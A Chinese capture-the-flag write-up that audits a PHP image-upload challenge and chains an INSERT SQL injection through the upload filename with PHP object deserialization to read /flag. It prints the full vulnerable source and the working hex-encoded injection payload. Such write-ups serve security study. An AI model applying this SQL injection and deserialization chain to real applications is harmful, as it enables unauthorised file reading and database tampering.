本文最后更新于:2023年8月25日 下午
[TOC]
[安洵杯-不是文件上传]代码审计+文件上传+insert注入 首页是一个文件上传页面
测试只能上传图片,是白名单
题目给出了源码:
upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <!DOCTYPE html> <html> <head> <title>Image Upload</title> <link rel="stylesheet" href="./style.css" > <meta http-equiv="content-type" content="text/html;charset=UTF-8" /> </head> <body> <p align="center" ><img src="https://i.loli.net/2019/10/06/i5GVSYnB1mZRaFj.png" width=300 length=150 ></p> <div align="center" > <form name="upload" action="" method="post" enctype="multipart/form-data" > <input type="file" name="file" > <input type="Submit" value="submit" > </form> </div> <br> <p><a href="./show.php" >You can view the pictures you uploaded here</a></p> <br><?php include ("./helper.php" );class upload extends helper { public function upload_base ( ) { $this ->upload (); } }if ($_FILES ) { if ($_FILES ["file" ]["error" ]) { die ("Upload file failed." ); } else { $file = new upload (); $file ->upload_base (); } }$a = new helper ();?> </body> </html>
show.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <!DOCTYPE html> <html> <head> <title>Show Images</title> <link rel="stylesheet" href="./style.css" > <meta http-equiv="content-type" content="text/html;charset=UTF-8" /> </head> <body> <h2 align="center" >Your images</h2> <p>The function of viewing the image has not been completed , and currently only the contents of your image name can be saved . I hope you can forgive me and my colleagues and I are working hard to improve .</p ><hr > <?php include ("./helper.php" ) ;$show = new show ();if ($_GET ["delete_all" ]){ if ($_GET ["delete_all" ] == "true" ){ $show ->Delete_All_Images (); } }$show ->Get_All_Images ();class show { public $con ; public function __construct ( ) { $this ->con = mysqli_connect ("127.0.0.1" ,"r00t" ,"r00t" ,"pic_base" ); if (mysqli_connect_errno ($this ->con)){ die ("Connect MySQL Fail:" .mysqli_connect_error ()); } } public function Get_All_Images ( ) { $sql = "SELECT * FROM images" ; $result = mysqli_query ($this ->con, $sql ); if ($result ->num_rows > 0 ){ while ($row = $result ->fetch_assoc ()){ if ($row ["attr" ]){ $attr_temp = str_replace ('\0\0\0' , chr (0 ).'*' .chr (0 ), $row ["attr" ]); $attr = unserialize ($attr_temp ); } echo "<p>id=" .$row ["id" ]." filename=" .$row ["filename" ]." path=" .$row ["path" ]."</p>" ; } }else { echo "<p>You have not uploaded an image yet.</p>" ; } mysqli_close ($this ->con); } public function Delete_All_Images ( ) { $sql = "DELETE FROM images" ; $result = mysqli_query ($this ->con, $sql ); } }?> <p><a href="show.php?delete_all=true" >Delete All Images</a></p> <p><a href="upload.php" >Upload Images</a></p> </body> </html>
helper.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 <?php class helper { protected $folder = "pic/" ; protected $ifview = False; protected $config = "config.txt" ; public function upload ($input ="file" ) { $fileinfo = $this ->getfile ($input ); $array = array (); $array ["title" ] = $fileinfo ['title' ]; $array ["filename" ] = $fileinfo ['filename' ]; $array ["ext" ] = $fileinfo ['ext' ]; $array ["path" ] = $fileinfo ['path' ]; $img_ext = getimagesize ($_FILES [$input ]["tmp_name" ]); $my_ext = array ("width" =>$img_ext [0 ],"height" =>$img_ext [1 ]); $array ["attr" ] = serialize ($my_ext ); $id = $this ->save ($array ); if ($id == 0 ){ die ("Something wrong!" ); } echo "<br>" ; echo "<p>Your images is uploaded successfully. And your image's id is $id .</p>" ; } public function getfile ($input ) { if (isset ($input )){ $rs = $this ->check ($_FILES [$input ]); } return $rs ; } public function check ($info ) { $basename = substr (md5 (time ().uniqid ()),9 ,16 ); $filename = $info ["name" ]; $ext = substr (strrchr ($filename , '.' ), 1 ); $cate_exts = array ("jpg" ,"gif" ,"png" ,"jpeg" ); if (!in_array ($ext ,$cate_exts )){ die ("<p>Please upload the correct image file!!!</p>" ); } $title = str_replace ("." .$ext ,'' ,$filename ); return array ('title' =>$title ,'filename' =>$basename ."." .$ext ,'ext' =>$ext ,'path' =>$this ->folder.$basename ."." .$ext ); } public function save ($data ) { if (!$data || !is_array ($data )){ die ("Something wrong!" ); } $id = $this ->insert_array ($data ); return $id ; } public function insert_array ($data ) { $con = mysqli_connect ("127.0.0.1" ,"r00t" ,"r00t" ,"pic_base" ); if (mysqli_connect_errno ($con )) { die ("Connect MySQL Fail:" .mysqli_connect_error ()); } $sql_fields = array (); $sql_val = array (); foreach ($data as $key =>$value ){ $key_temp = str_replace (chr (0 ).'*' .chr (0 ), '\0\0\0' , $key ); $value_temp = str_replace (chr (0 ).'*' .chr (0 ), '\0\0\0' , $value ); $sql_fields [] = "`" .$key_temp ."`" ; $sql_val [] = "'" .$value_temp ."'" ; } $sql = "INSERT INTO images (" .(implode ("," ,$sql_fields )).") VALUES(" .(implode ("," ,$sql_val )).")" ; mysqli_query ($con , $sql ); $id = mysqli_insert_id ($con ); mysqli_close ($con ); return $id ; } public function view_files ($path ) { if ($this ->ifview == False){ return False; } $content = file_get_contents ($path ); echo $content ; } function __destruct ( ) { $this ->view_files ($this ->config); } }?>
这里的重点是helper.php
在upload()函数中,会将相关信息保存在$array
数组中,注意到有一个地方被序列化了:$array["attr"] = serialize($my_ext);
,然后经过相关的检查会将$array
数组插入到mysql数据库中去
我们分析一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 public function view_files ($path ) { if ($this ->ifview == False){ return False; } $content = file_get_contents ($path ); echo $content ; }function __destruct ( ) { $this ->view_files ($this ->config); }
如果$this->config=/flag
,并且$this->ifview=true
的话,当helper对象会序列化就会读取flag的内容,并且输出,这是利用点。但默认值读不了flag,怎么读?
我们需要构造一个特定值序列化后的串,然后经过unserialize()
,当对象销毁就会输出flag
哪里有反序列化函数?在show.php的Get_All_Images()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public function Get_All_Images ( ) { $sql = "SELECT * FROM images" ; $result = mysqli_query ($this ->con, $sql ); if ($result ->num_rows > 0 ){ while ($row = $result ->fetch_assoc ()){ if ($row ["attr" ]){ $attr_temp = str_replace ('\0\0\0' , chr (0 ).'*' .chr (0 ), $row ["attr" ]); $attr = unserialize ($attr_temp ); } echo "<p>id=" .$row ["id" ]." filename=" .$row ["filename" ]." path=" .$row ["path" ]."</p>" ; } }else { echo "<p>You have not uploaded an image yet.</p>" ; } mysqli_close ($this ->con); }
这个函数会将传入的数组中的attr
属性的值先替换一下然后反序列化,这个属性就是helper.php
的$array['attr']
经过序列化后的值,所以我们需要构造一下,将该值替换为恶意构造的序列化串
但是$array["attr"]
默认的值是图片的宽高数组序列化后的值,没法控制输入
1 2 $my _ext = array ("width" =>$img _ext[0 ],"height" =>$img _ext[1 ]);$array ["attr" ] = serialize($my _ext);
怎么才能将自己的序列化串插入呢?我们注意到insert_array()
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 public function insert_array ($data ) { ... foreach ($data as $key =>$value ){ $key_temp = str_replace (chr (0 ).'*' .chr (0 ), '\0\0\0' , $key ); $value_temp = str_replace (chr (0 ).'*' .chr (0 ), '\0\0\0' , $value ); $sql_fields [] = "`" .$key_temp ."`" ; $sql_val [] = "'" .$value_temp ."'" ; } $sql = "INSERT INTO images (" .(implode ("," ,$sql_fields )).") VALUES(" .(implode ("," ,$sql_val )).")" ; ... return $id ; }
在这个函数中会执行sql语句,将输入插入到字符串,但是这里存在insert注入
我们查看check()
函数:
1 2 3 4 5 6 7 8 9 10 11 12 public function check ($info ) { $basename = substr (md5 (time ().uniqid ()),9 ,16 ); $filename = $info ["name" ]; $ext = substr (strrchr ($filename , '.' ), 1 ); $cate_exts = array ("jpg" ,"gif" ,"png" ,"jpeg" ); if (!in_array ($ext ,$cate_exts )){ die ("<p>Please upload the correct image file!!!</p>" ); } $title = str_replace ("." .$ext ,'' ,$filename ); return array ('title' =>$title ,'filename' =>$basename ."." .$ext ,'ext' =>$ext ,'path' =>$this ->folder.$basename ."." .$ext ); }
这里的$title
从$filename
传入,并且没有经过任何过滤,所以可以从这里入手,构造成这种格式:
1 2 3 tit','fn','.png','path','O:{yy}'),('title.png 即: insert into images (`title`,`filename`,`ext`,`path`,`attr`) values('tit','fn','.png','path','O:{yy}'),('title.png')
这个序列化串如何构造呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class helper { protected $folder = "pic/" ; protected $ifview = true ; protected $config = "/flag" ; }$a = new helper ();echo serialize ($a );
但是这里不能直接传入,因为变量是protected
类型经过序列化后会加上%00
我们注意到之前insert_array()
经过了替换:
1 $value_temp = str_replace(chr (0 ).'*' .chr (0 ), '\0\0\0' , $value)
所以我们替换成:
1 O:6 :"helper" :3 :{s:9 :"\0\0\0folder" ;s:4 :"pic/" ;s:9 :"\0\0\0ifview" ;b:1 ;s:9 :"\0\0\0config" ;s:5 :"/flag" ;}
总的filename就是:
1 tit',' fn ','.png ','path ','O :6:"helper ":3: {s:9 :"\0\0\0folder" ;s:4 :"pic/" ;s:9 :"\0\0\0ifview" ;b:1 ;s:9 :"\0\0\0config" ;s:5 :"/flag" ;}'),(' title.png
但是传过去发现无效,因为文件名双引号"
冲突了,我们可以将其转化为16进制:
1 2 3 O :6 :"helper" :3 :{s:9 :"\0 \0 \0 folder" ;s:4 :"pic/" ;s:9 :"\0 \0 \0 ifview" ;b:1 ;s:9 :"\0 \0 \0 config" ;s:5 :"/flag" ;}0x4f3a363a2268656c706572223a333a7b733a393a225c305c305c30666f6c646572223b733a343a227069632f223b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d
总的filename:
1 tit',' fn ','.png ','path ',0x4f3a363a2268656c706572223a333a7b733a393a225c305c305c30666f6c646572223b733a343a227069632f223b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d ),('title.png
访问一下show.php,就会反序列化,输出flag:
mysql特性 这里有些同学会有些疑惑,为什么我们插入到数据库中的是序列化串的16进制形式:
1 0x4f3a363a2268656c706572223a333a7b733a393a225c305c305c30666f6c646572223b733a343a227069632f223b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d
为什么后面反序列化还能成功?
这是因为利用了mysql的特性
当mysql中插入一个16进制的值时会自动将其转化为字符串
如图成功转为字符串,所以我们插入16进制就会转为字符串插入到数据库,这样取出来就可以成功反序列化啦